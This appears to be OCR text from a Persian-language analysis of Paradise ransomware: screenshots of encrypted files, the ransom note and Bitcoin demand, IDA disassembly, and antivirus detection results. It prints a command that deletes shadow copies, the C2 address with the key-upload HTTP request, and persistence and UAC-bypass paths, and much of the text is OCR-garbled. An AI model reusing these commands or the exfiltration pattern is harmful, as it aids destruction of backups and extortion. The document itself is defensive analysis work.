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| Search Media (E) o

Organize ~ &= Preview ~ Print Burn New folder - j ﬁ
';. Favorites Name ) Date modified Type Size

test (2).mp3_V.0.0.0.1{help@badfail.info}.paradise 7/22/2018 6:34 PM  PARADISE File 6,296 KB
= Libraries test (1).ts_V.0.0.0.1{help@badfail.info}.paradise 7/22/2018 6:34 PM  PARADISE File 1,015,201 ..
. Documents test (1).5rt_V.0.0.0.1{help@badfail.info} paradise 7/22/2018 6:34 PM  PARADISE File 93 KB
& Music test (1).rar_V.0.0.0.1{help@badfail info}.paradise 7/22/2018 6:34 PM  PARADISE File 1KB
- Pictures test (1).ppt_V.0.0.0.1{help@badfail info}.paradise 7/22/2018 6:34 PM  PARADISE File 579 KB
B videos test (1).pdf_V.0.0.0.1{help@badfail info}.paradise 7/22/2018 6:34 PM  PARADISE File 4756 KB
test (1).mpeg_V.0.0.0.1{help@badfailinfol.paradise ~ 7/22/2018 6:34 PM  PARADISE File 45741 KB
& Computer test (1).mp3_V.0.0.0.1{help@badfail.info}.paradise 7/22/2018 6:34 PM  PARADISE File 4,485 KB
& Local Disk (C) test (1).mkv_V.0.0.0.1{help@badfail.info} paradise 7/22/2018 6:34 PM  PARADISE File 864,500 KB
< Media (E) | test (1)jpg 7/23/2010 11:36 PM  JPEG image 374 KB
!: < Soft (F) test (1).html_V.0.0.0.1{help@badfail info}.paradise 7/22/2018 6:34PM  PARADISE File 3,049 KB
| test (1).htm_V.0.0.0.1{help@badfail.info}.paradise 7/22/2018 6:34 PM  PARADISE File 90 KB
I & Network test (1).docx_V.0.0.0.1{help@badfail.info}. paradise 7/22/2018 6:34 PM  PARADISE File 177 KB
: test (1).DAT_V.0.0.0.1{help@badfail.info}.paradise 7/22/2018 6:34 PM  PARADISE File 96,803 KB
| & test (1).bmp 6/28/200512:32 PM  Bitmap image 737KB
i test (1).avi_V.0.0.0.1{help@badfail.info}.paradise 7/22/2018 6:34 PM  PARADISE File 31434 KB
: test (1).apk_V.0.0.0.1{help@badfail info}.paradise 7/22/2018 6:34 PM  PARADISE File 9,288 KB
| | PARADISE_README_help@badfail.info.txt 7/22/2018 634 PM  Text Document 1KB

test (1).jpg Rating: 557 5 7 55
JPEG image Dimensions: 1920 x 1200

Size: 373 KB

Date created: 2/20/2018 1:54 PM
Comments: CREATOR: gd-jpeg v1.0 .. Date modified: 7/23/2010 11:36 PM
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g PARADISE_README_help@badfail.info.txt - Notepad _"" -
File Edit Format View Help

To decrypt your files, please contact us by mail -- help@badfail.info and help@badfail.info N
Your user id: 03vSoRIVOGVEPSS7CXUKIX

[lwith respect Ransomware Paradise Team "

Sl s SL3 3l s el b ae help@badfail.info sl a4 Joesl K 5 anlis & ze bl opl 5o

L el o les 4 LB SLaS ey (gl 0
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bP_aradEe \

Your personal ID

03vSoR1VEGVEPss7CXUKLX

Your personal KEY

BwIAAACKAABSUOEVARQARAEARQCLSLNDY1ekqoXM3LbBLPYHOMES rdPJUXCr+Qg56r 13NN 0H4Vo4 ZfEmGCErWyZUZV] YRFfMKHwAT/31rBXPxwE 4qpeTmM78JI5kSs2 EnNyhOTKOV,
Gt 1CBOWZOCTVE4XXVOEXA+VWOWNNS091vDyJDnizRSDpcHYFT7bX0ape /nmudaQtfWog 1LRpYR3/puiXafE]ylmaUxCx+JIGPOrSiPV6EVIy6KULIUIPFQOTYChS
XpE620CQTRVT 91GEJOMWOeRCUQE=delimiterW4RMHES It;lmmSWbBMItzoNgtw:uykypomm11'9IquhvaOxramsrQo+051.9kr.QOﬂHmYQZkauPdCeVImzarpmt.
T6RbO1celodiPoul+GAshwTc/fF/PZiby3ZsIGeM4vnhBSnnFmedBScqzVUE16KELHTDTCvET TnXB/ 59/ XZQEFIkZnBo1uDnrz 5t TCTHWGEZKTMToFr0213BGha6mLYTviVCijEqq: |
vR4hLdoULjFS34DLzKRIzNBWRIMAEN1hQCnKACd9awEnRaDeCN2dDVbITme THTC3p e JxNgglVaVIVEp] zoFg¥dugi FESE IdvOWK/ Jo FMIwawd. ¢

ruw73a22gqRQUVCH11VFXeGEKZGoSYRODYNF1a0dz 6W+SKENKS1v1nHY zR0J+Qy1 yp1DhR4+3 TVYL3GC1yTeQqSqleF9d/ oF SUVOREXSLEL J1 RRAAHXOCE 1CZqz DVR1CCRLXWLAbAl |
2hi+ufK70OVknGVty/pOXEEJIVGIn0r PxVu2EseJulEZT3dTwa X/ WtV+pG3T4AQTYdyUpycwnoc2 r¥CxZCvDolzbJ 1 rANLUwZKB4M1 £ 9+9azNLba304GKgSSRCTgg3vvIxbg2 rHRE6r
Ve £1N/nYkQNmzxuXasYWIR2n9tL3+92yt 3MDER1YOCGHkvIg0 SwEWVvhZpSH01T7zqi u/U0Bvy0x9CS+n3 170t VKN 3Tovrt 8gl TWE2Jpwxril/ +g1Dw4KvGazRFRvZE 9gOXCSRT S 6+
tT1I1RIH1tuUVSWE+XNRSAd/ZjKz/z1i0JnMaYCoal44ZPV+0+£55FulYvKINWwYBWKL/ yL70Pk91LcoBIRvKOXu0rVZFIbXEppv NN o+4n8 FGHIMFrva2 laum+DLKTulg6d1b6gwBms
6nE11M1QrebD+HEssTac0dUgFR] 181 yhexZ+xBUXZeTC2VEFd7F1DIoBBWI£c0REUT 4arU6N1jd/DEuOQRy 9e ¥ Tl /My Sumz zCEXBQZ 1UFE D+ he smBsQEZTXCQUT Tt PAASUTgUWUe1
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WHAT HAPPENED!
« Your mportant files produced on this computer have been encrypted due a security problem.
« If you want to restore them, write to us by email.
« You have to pay for decryption in Bitcoins. The price depends on how fast you write to us.
« After payment we wil send you the decryption tool that wil decrypt all your files.

FREE DECRYPTION AS GUARANTEE!
« Before payment you can send us 1-3 files for free decryption.
« Please note that fles must NOT contain valuable information.
s The file size should not exceed 1MB.
« As evidence, we can decrypt one file

HOW TO OBTAIN BITCOINS!
« The easiest way to buy bitcoin is LocalBitcoins site.
« You have to register, click Buy bitcoins and select the seller by payment method and price
o https: itcoins. in!
« Also you can find other places to buy Bitcoins and beginners guide here:

« http://www.coindesk.com/information/how-can-i-buy-bitcoins/
« write to Google how to buy Bitcoin in your country?

nr

Paradise
o

T r T o o

« http://www.coindesk.com/information/how-can-i-buy-bitcoins/
« write to Google how to buy Bitcoin in your country?

Contact!

. e-nﬂ:lhelp@bad‘l‘ail,lnfo
. or

. e-nﬂ:lhelp@badfalljnfo

Attention!

Do not rename encrypted files
Do not try to decrypt your data using third party software, it may cause permanent data loss

You are guaranteed to get the decryptor after payment

As evidence, we can decrypt one fle

Do not attempt to use the antivirus or uninstall the program

This wil lead to your data loss and unrecoverable

Decoders of other users is not suttable to decrypt your fies - encryption key is unique

&:AM:‘ODJSJQJMdh‘j}cbrL&"ﬁ)bbﬁ)LﬁjaU)‘obdybde} JaLSJlL;\J.:r:-L@,a

| help@badfail.info
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Sam Green <help@badfailinfo=
To:

Please write your ID. You can find it in files names(sample: id-56GC70DO).
If you write to us incarrect 1D - we can't help you after payment.

The price for decryption is 0.9 BTC. (hitcoins)
our wallet is: 12WgGqgjew3naMAUTkwEmunGkzhaim3Ejx

After payment we will send to you detailed instructions and personal decoder for your infected device.
Also we will give you tips for improve your security.
Please make your decision as soon as possiblel Otherwise, the price can changel

Also you can make free test decryption. Conditians for test decryption:

1) You can send FEW files for test decrypting. Maximum files for test is 3.

2) We don't decrypt ".exe" files, archives, databases, and backups for test(read: for free).

You can send another files like jpg pdf xIs doc and other.

3) Files should not have the same extensions. One extesion - one file.

4) Total max size of test files is 5 mb{non-archived)!

9) If you will send to us test files it's mean that you completely agree with our proposal for decryption.

@Jﬁ&.ﬁ_‘;u‘)w‘}j&_ﬁ'qd\«ﬁQJJSCMA‘?_)JF@M‘w‘)hw&oMmé)jbw

=S Jle,l Y YWgGgjewYnaMAuTkw\jmunGkzhaimYEjx u*‘J-’T

el azils AV OO BTC 550 4 GEST 5 VY 058 b gy S ol ok pladl sla s b

Summary Transactions

Address 12WgGgjew3naMAuUTkwBjmunGkzhaim3Ejx No. Transactions 16 dln

Hash 160 109418e319ch76e145e5575¢ce1ab80a96664b9b0 Total Received 8.57055 BTC alln
Final Balance 4.371BTC dlin

Request Payment Donation Button
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Lyext:0040102D
.text:00401037
.text:00401041
.text:0040104B
.text:00401055
.text:0040105F
.text:00401069
.text:00401073

mov
mov
mov
mov
mov
mov
mov
mov

&S s

lpStrEﬁgl, offset athueryinForEa ; "NtQueryInformationProcess™

dword 40404, offset
dword_40C414, offset
dword_40C440, offset
dword 40C4B8, offset
dword_40C468, offset
dword_40C420, offset
dword 40C3DC, offset

aRtldecompressb ; "RtlDecompressBuffer”
aNtimpersonatet ; "NtImpersonateThread”
aNtqueryinforma @ ; "NtQueryInformationThread”
aRtlgetversion ; "RtlGetVersion”
aNtsetinformati ; "NtSetInformationProcess”
aRtladjustprivi ; "RtlAdjustPrivilege”
aRtlsetprocessi ; "RtlSetProcessIsCritical”

MMC o Jo B (8 o) )3 Qlﬁjwqﬂm&ywﬁsﬁb@%radise )IJ-A\CL_

wmic (Windows

Management

.rdata: 804868760 aMmcExe

.rdata: 00406878 aRunas

.rdata:004064D0 aWbemWmicExe
.rdata:004064DE

J—b —oea s (Microsoft Management Console)

AS o =11, (WMI) Command)  Instrumentation

db ‘mmc.exe’,@
db ‘runas’,@

align 16h

a1
sub_ 4818088+235to

db ‘wbem\wmic.exe',® ; DATA XREF: sub 401000+91%0

Al 3L e Paradise 5 Jregl ¢ it i e Jald Bl ol la s s L 4 edd L1 sy

.text: 00401023

Cﬁw‘oﬁmuﬁ)ﬁbﬁxﬂ

mov dword 40C43C, offset aveeol ; " vV.0.0.0.1"

S a3 LU e LY EVNAOYEN YO (T o b Sl I3l a5 das e LS b e
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.text: 00401005
.text:0040100F
.text: 00401019

.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:

.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:

.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:

00406520 aPostApiEncrypt db

00406520
00406520
00406520
00406520
00406520

00406620
00406620
00406641
00406644
00406644
00406674
00406674
004066A8
004066A8

00406E26
00406E37
00406E38
0O406E3A
00406E4B
00406E4C
00406E4E
0B406E5F
00406E60
00406E62
00406E73
00406E74
00406E76
00406EE4
00406E86

mov cp, offset al4618524135 ; "146.185.241.35"
mov name, offset aApiIpifyOrg ; "api.ipify.org"
mov dword 40C484, offset aGetHttpllHostS ; "GET / HTTP/1.1\r\nHost: %s\rin\rin"

LS o Jll wrles gl 1) encrypt.php LG 150 AL s S Oygo sla ey p b

'POST /api/Encrypted.php HTTP/1.1',@Dh,0Ah

; DATA XREF: sub_401000+AFfo |
db 'Content-Type: application/x-www-form-urlencoded',@Dh,@Ah
db 'Host: 146.185.241.35',0Dh,0Ah
db 'Content-Length: %d',@Dh,08Ah

db @Dh,0Ah,0

LS 0 )3 5 ae e 3 bLI | eventvwr.exe  eteew LU law i

aCWindowsSystem db "C:\Windows\System32\eventvwr.exe',@

; DATA XREF: sub_401000+EBTo

align 4

aContentTypeApp db 'Content-Type: application/x-www-form-urlencoded',®
; DATA XREF: sub_401000+F5To
aV1sVv2S5tartESE db 'v1=%5&v2=kS&start_e=Ks&end_e=%s&files_count=%d&key=",0
; DATA XREF: sub_4@1000+FFfo

aApiEncryptedPh db '/api/Encrypted.php',®

; DATA XREF: sub_ 401000+109To0

db 'InternetConnectA',®
align 4
word_ 406E38 dw 9Fh
db 'InternetReadFile’,®
align 4
word 486E4C dw 57h
db 'HttpOpenRequestA',®
align 16h
word 486E60 dw 5Bh
db 'HttpSendRequestA',@
align 4
word 4B6E74 dw 97h
db 'InternetOpenA',®
word_4@6E84 dw 6Bh

db 'InternetCloseHandle',®

>

El

3

>

>

; DATA XREF:

; DATA XREF:

; DATA XREF:

; DATA XREF:

; DATA XREF:

.rdata:

.rdata:

.rdata:

.rdata:

.rdata:

off_406CE4tc

00406CF8T0

00406CECtTo

00406CFOTO

00406CF4T0
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Jidata:
.idata:
.idata:
.idata:
.idata:
.idata:
.ddata:
.ddata:
.ddata:
.ddata:
Jidata:
.idata:
.idata:
.idata:
.idata:
.idata:
.ddata:
.ddata:
.ddata:
.ddata:
Jidata:
.idata:
.idata:
.idata:
.idata:
.ddata:
.ddata:
.ddata:
.ddata:
.ddata:
Jidata:
.idata:
.idata:
.idata:
.idata:

60486208
82486200
82486200
82486200
82486200

BB486204 ;

Be4e6284
Be4e6284
Be4e6284
88486208
80406208
82486208
82486208
Be48620C
Be48620C
B248620C
88486218
88486218
88486218
88486218

gede6214 ;

82486214
82486214
82486214
82486218
BB486218
88486218
88486218
Be4e621C
Be4e621C
ae4e621C
Be48621C
82486228
82486228
82486228

»

»

Imports from WS2 32.d11

S o o3l

int _ stdcall WSAStartup(WORD wVersionRequested, LPWSADATA 1lpliSAData)

extrn WSAStartup:dword ;

3

CODE XREF: start+/761p

; DATA XREF: start+761r ...

int _ stdcall connect(SOCKET s, const struct sockaddr *name, int namelen)

extrn connect:dword ;

3

3

int _ stdcall closesocket(SOCKET s)
extrn closesocket:dword ;

3

3

CODE XREF: sub_4@317E+1@6tp

; sub_4832C4+691p
; DATA XREF:

CODE XREF: sub_4@317E+1341p

; sub_4@32C4+1421p
; DATA XREF:

unsigned int _ stdcall inet addr(const char #*cp)

extrn inet addr:dword ;

3

CODE XREF: sub_4@317E+4D51p

; DATA XREF: sub_4@317E+4D5tr

int __stdcall send(SOCKET s, const char *buf, int len, int flags)

extrn send:dword ;
;

3

CODE XREF: sub_48317E+12Btp
sub_4832CA+AETp
DATA XREF:

struct hostent *  stdcall gethostbyname(const char *name)

extrn gethostbyname:dword
; CODE XREF: sub_4@32C4+371p

3

3

; DATA XREF: sub_4@32C4+371r

u_short  stdcall htons(u_short hostshort)

extrn htons:dword ;

3

3

CODE XREF: sub_4@317E+E31p

; sub_4832C4+4F1p
; DATA XREF:

SOCKET __stdcall socket(int af, int type, int protocol)

extrn socket:dword ;

3

3

int _ stdcall recv(SOCKET s, char *buf,
extrn recv:dword ;

3

CODE XREF: sub_4@317E+C@tp

; sub 4832C4+1Etp
; DATA XREF:

int len, int flags)
CODE XREF: sub 4832C4+D8tp

; DATA XREF: sub_4@32C4+4D8Tr

JSL;GAJLQLA‘RSA LSJK")AJ &")ﬂ“}“)‘ﬁ‘cb L)'»’~‘ 44:.9;@)}.; LSLA w)j‘_;ﬁk

.rdata:004066808 ; Import names for ADVAPI32.d11
.rdata: 00406600 ;

.rdata: 00406800 off_406B00 dd rva word_407462 ; DATA XREF: .rdata:_ IMPORT_DESCRIPTOR_ADVAPI32fo
OB46F2BE6 ©6 00 00 06 6 02 00 B0 00 A4 @0 80 52 53 Hﬂ 31 H..RSAl
©0646F2CE6 ©6 04 00 06 91 e 01 e 15 1F 6F 75 BD 89 BB 91 .......... quﬁ%»‘

Sydr M5 3 IS askad b gl BIEL b pliy LU

>
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.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:

0PAD6438 aParadiseReadme db 'PARADISE README ',0 ; DATA XREF: sub 491000+/DTo
align 16h
'To decrypt your files, please contact us by mail -- ¥s and ¥s',8Dh
; DATA XREF: sub_401000+87T0

00406449

00406450 aToDecryptYourF db
00406450

00406450 db
00406450 db
00406450 db
00406450 db
00406450 db
00406450 db
00406450 db

0Ah

"Your user id: ¥s',08Dh,0Ah

@Dh, @Ah

@Dh,@Ah

@Dh,@Ah

@Dh,@Ah

'with respect Ransomware Paradise Team',®©

&

2loy

L;;i jan»js Lo ))‘J BWEY J‘jé‘z;b i}i‘-AAMJL5ﬂ JLﬁ 4 .)jw:LSA .&JJﬁ 'S AS 12*~J§ ‘ké LSA‘)J;E:P fLiﬁi o e

Loy L@T)JHJ‘ML;;-)&S& SL 1, volume shadow

.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:

B8e4866BC
Be4866C2
Be48e6C4
Be4866D1
Be48e6D4
BBAB66E2
Be4ee6E4
BBAB66EY
BB4866EC
BB4B66F5
BB4B66FS
BB4B66FS
BB4ABeT27
BB4B6728
Be4e672E
82486738
88486730
82486748
82486744
88486 74C
88486 74C
BB48675E
82486768
BB486766
BB4B6768
BB4ABET TS
BB4ABET TS
BB4ABET TS
BB486792
Be486794
Be4ee7ad
BBABETAF
6e4e6766
B884867BC

akKey

ald

allorkPng

aTrump

alpera

545 | ,>| chrome , firefox < opera dnternet explorer sl S5 5 3l

aFirstMail

aSecondMail

aParadise

aFirefoxExe
alauncherExe

aMicrosofthindo

aParadisePng

alnternetExplor

alexploreExe

aGoogleChromelp

aMozillaFirefox
aChromeExe

db '%KEYX',@ ; DATA XREF:
align 4
db 'X%FIRST_MAIL%',@ ; DATA XREF:
align 4
db '%SECOND_MAIL%',@ ; DATA XREF:
align 4
db '¥ID%',8 ; DATA XREF:
align 4
db ‘work.png’,@ ; DATA XREF:
align 4

sub_491888+113to
sub_481888+11Dto
sub_ 491088+127to
sub_481888+131to

sub_481888+13Bto

db '‘\Microsoft\Windows\5tart Menu‘\Programs\5tartup’,®

; DATA XREF:
align 4
db “trump',@ ; DATA XREF:
align 18h
db ‘Paradise.png’,® ; DATA XREF:
align 18h
db 'PARADISE*',@ ; DATA XREF:
align 4
db "Internet Explorer’,8

; DATA XREF:
align 18h
db ‘Opera’,@ ; DATA XREF:
align 4
db ‘'iexplore.exe',@ ; DATA XREF:
align 4
db 'Google\Chrome\Application',®

; DATA XREF:
align 4
db 'Mozilla Firefox',@ ; DATA XREF:
db ‘chrome.exe',@ ; DATA XREF:
align 18h
db 'firefox.exe',@ ; DATA XREF:
db ‘launcher.exe’,8 ; DATA XREF:

sub_481888+145to
sub_481888+14Fto
sub_491888+159to

sub_491888+163to

sub_481888+16Dto
sub_491088+177to

sub_481888+181to

sub_481888+18BTo

sub_481888+195to
sub_481888+19Fto

sub_481888+1A9T0
sub_491988+1B3to

copy sla aseus ooman )‘J"é‘le o
LS o sl VSSAPLAIN alsls
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.rdata:004064E
.rdata:004064E
.rdata:004064F
.rdata:004064F
.rdata:004064F

.rdata:88486CDC ;

.rdata:88486CDC
.rdata:88486CDC
.rdata:88486CDC
.rdata:08486CEG

.rdata:004069FC
.rdata: 00406700
.rdata: 00406704
.rdata: 00406708
.rdata: 00406A0C

.text: 00404438
.text: 00404441
.text:00404446
.text:0040444C

.text:0040445E
.text: 00404461
.text: 00404462
.text: 00404465
.text: 00404466
.text:0040446C
.text:0040446D
.text: 00404473
.text: 00404477
.text:00404478
.text:0040447C
.text:0040447D
.text:00404481
.text:00404482
.text: 00404486
.text: 00404487
.text: 00404488
.text:0040448C
.text: 00404490
.text: 00404491

6 aShadowcopyDele db Tshadowcopy delete',@
0

2 align 4

4 aCVssadminDelet db '/c vssadmin delete shadows /all /quiet',®

4 ; DATA XREF: sub_ 401000+A5to

; DATA XREF: sub 491000+5Bto

>

; Import names for VSSAPI.DLL

off_486CDC

______

dd rva word_ 486D3C ;
dd @

__ IMPORT_DESCRIPTOR_VSSAPI dd rva off_406CDC ; Import Name Table

dd @ ;3 Time stamp
dd 0 3 Forwarder Chain
dd rva aVssapiDll 5 DLL Name

dd rva CreateVssBackupComponentsInternal ; Import Address Table

S oo ok e a3 4 5 03,8 S3Lo3 e | e Ol Paradise 1 31-L

call ds:GetSystemTime
push @ACh
lea eax, [ebp+TimeZoneInformation]
push eax
lea eax, [ebp+LocalTime]
push eax 3 lplLocalTime
lea eax, [ebp+SystemTime]
push eax 5 1pUniversalTime
lea eax, [ebp+TimeZoneInformation]
push eax ; 1pTimeZoneInformation
call ds:SystemTimeToTzSpecificlocalTime
movzx  eax, [ebp+LocalTime.wSecond]
push eax
movzx  eax, [ebp+LocalTime.wMinute]
push eax
movzx  eax, [ebp+LocalTime.wHour]
push eax
movzx  eax, [ebp+lLocalTime.wDay]
push eax
movzx eax, [ebp+LocalTime.wMonth]
push eax
movzx  eax, [ebp+LocalTime.wYear]
push eax
push offset a02d02de2dDe2de ; "%02d-%02d-%02d %d:%02d:%02d"

ol 3 g 25 GAS (03 3P S e Sl i
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Jtext:004040FD
Jtext: 00404103
.text:00404105
.text:00404108B

¢
call ds:RegCreateKeyExl
test eax, eax
jnz loc_404244
push 208h
.text:0040418E call ds:RegSetValueExW
.text:00404194 mov [ebp+var 214], eax
.text:0040419A push [ebp+phkResult] ; hKey
.text:0040419D call ds:RegCloseKey
.text:004041A3 cmp [ebp+var 2147, ©
.text:004041AA jnz loc_ 404244
.text:004041C3 call ds:ShellExecuteA
.text:004041C9 push 3E8h ; duMilliseconds
.text:004041CE call ds:Sleep
.text:004041D4 push dword_ 48C3EC
.text:004041DA push 80000001h
.text:004041DF call ds:RegDeleteTreeA
.text:004041E5 push dword_48C4BC ;5 1pString2
.text:004041EB call sub_404250
DS Sy D S

DS 0l

Options\441\E.exe

ed

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution

\Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option
\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\Codeldentifiers

\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\Codeldentifiers\TransparentEnabl

\REGISTRY\USER\S-YV-0-Y Y-V EAYEVN0+ 1 -1EL00TYYTA-V £V Ve o Y YYY-

0+ +\Software\Policies\Microsoft\Windows\Safer\Codeldentifiers

D aSs Kl ow
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Ad-Aware
AhnLab-v3
Antiy-AVL
Avast

Avira

Baidu
CAT-QuickHeal
CrowdStrike Falcon
Cylance

Drweb
Endgame
ESET-NOD32
Fortinet

lkarus
KTAntiVirus
Kaspersky

MaX
Mcafee-GW-Edition
NANO-Antivirus
Panda

Rising

Sophos AV
Symantec
TrendMicro
VEA3Z
Webroot

ZoneAlarm

N N ]

Generic.Malware SFdld. ACTDFBEB
Malware,/Win32.Generic.C2552773
Trojan[Ransom]/Win32Cryptor
Win32:Malware-gen

TR/ATRAPS.Gen

Win32.Trojan WisdomEyes. 16070401....
Trojan.Dynamer

malicious_confidence_1¢

Unsafe

DLOADER . Trojan

malicious (high confidence)

avariant of Win32/Filecoder.NQL

/Filecoder.NQL!tr
Trojan-DownloaderWin32. Bubnix
Trojan (005336261 )
Trojan-RansomWin32.Cryptor.bta
malware (ai score=99)
BehavesLike Win32.Generic.ph
Wirus.wWin3z2.Gen.comw
Tri/GdSda.A
Malware.Undefined!&.C (CLOUD)
Mal/Behav-132

Trojan.Gen.2
Ransom_PARADISEFBHA
suspected of Trojan Downloadergenh
W32 Malware.Gen

Trojan-RansomWin32.Cryptor.bta

AegisLab
Alvac

Arcabit

AVG

AVware
BitDefender
Comodo
Cybereason
Cyren
Emsisoft
e5can
F-Secure
GData
Jiangmin
K7GW
Malwarebytes
Mcafee
Microsoft
Palo Alto Networks
Qihoo-360
SentinelOne
Sophos ML
Tencent
TrendMicro-HouseCall
VIPRE

Yandex

Avast Mobile Security

o EPEPPPPPEPRPPPPDPEDD

Troj.Ransom W32 Cryptorlc
Trojan.Ransom.Paradise
Generic. Malware SFdld ACTDFBEB
Win32:Malware-gen
Trojan.Win32.Generic! BT
Generic. Malware SFdld ACTDFBEB

Packed Win32TD55.~AA

malicious.16
W32/ Trojan.BZY(0-4452

Generic.Malware SFdId ACTDFBEB (B}
Generic. Malware SFdld ACTDFBEB
Generic. Malware SFdld AC7DFBEB
Generic. Malware SFdld ACTDFBEB
Trojan.Cryptor.gw

Trojan { 005336261 )
Ransom.FileLocker
GenericRXFR-BFIASCT 24F16AFA
Trojan:Win32/ Dynamer!rfn
generic.ml
HEUR/QVM20.1.8706.Malware.Gen
static engine - malicious

heuristic

Win32.Trojan.CryptorLndx
Ransom_PARADISEFEHAI
Trojan.Win32.Generic! BT
Trojan.Cryptor!Yo3 1nLla2B0

Clean

Db S e g8 g pg sble o &

il an 3B 58 s s wlole 53 593 go S5l ST s sy BT VY 5o, A sl ol Jl= o

S o b o b S 1 0T 035 18 2L



e Ubl g yglis g eslbliyl cyljg
whplele Ublg 5 gUis ¢ lojLu

&

2loy

Sample_5b3ba285903ca05e2670b4c6.exe ¢ySuwl dzyis

Clean

Dangerous:
Mal/Behav-132

Dangerous:
Generic.Malware.SFdld.AC7DFB8B

Dangerous:
Trojan-Ransom.Win32.Cryptor.bta

Dangerous:
Win32/Filecoder.NQL

Dangerous:
Trojan.Encoder.25726

Clean

Dangerous:
Packed.Win32.TDSS.~AA

Dangerous:
Generic.Malware.SFdld.AC7DFB8B

Clean

Dangerous:
Trojan.Gen.2

£

09RO ddud

2.3190.2675

9.14.2

11.00

5.5

4.5.3.38255

11.0.1.1607061217

0.99.2

1.1.268025.1

11.0.1.18

7.9.0.30

LUgRAT

wiugal

sophos

f_secure

kaspersky

eset

drweb

clam_av

comodo

bitdefender

avast

symantec

1

4



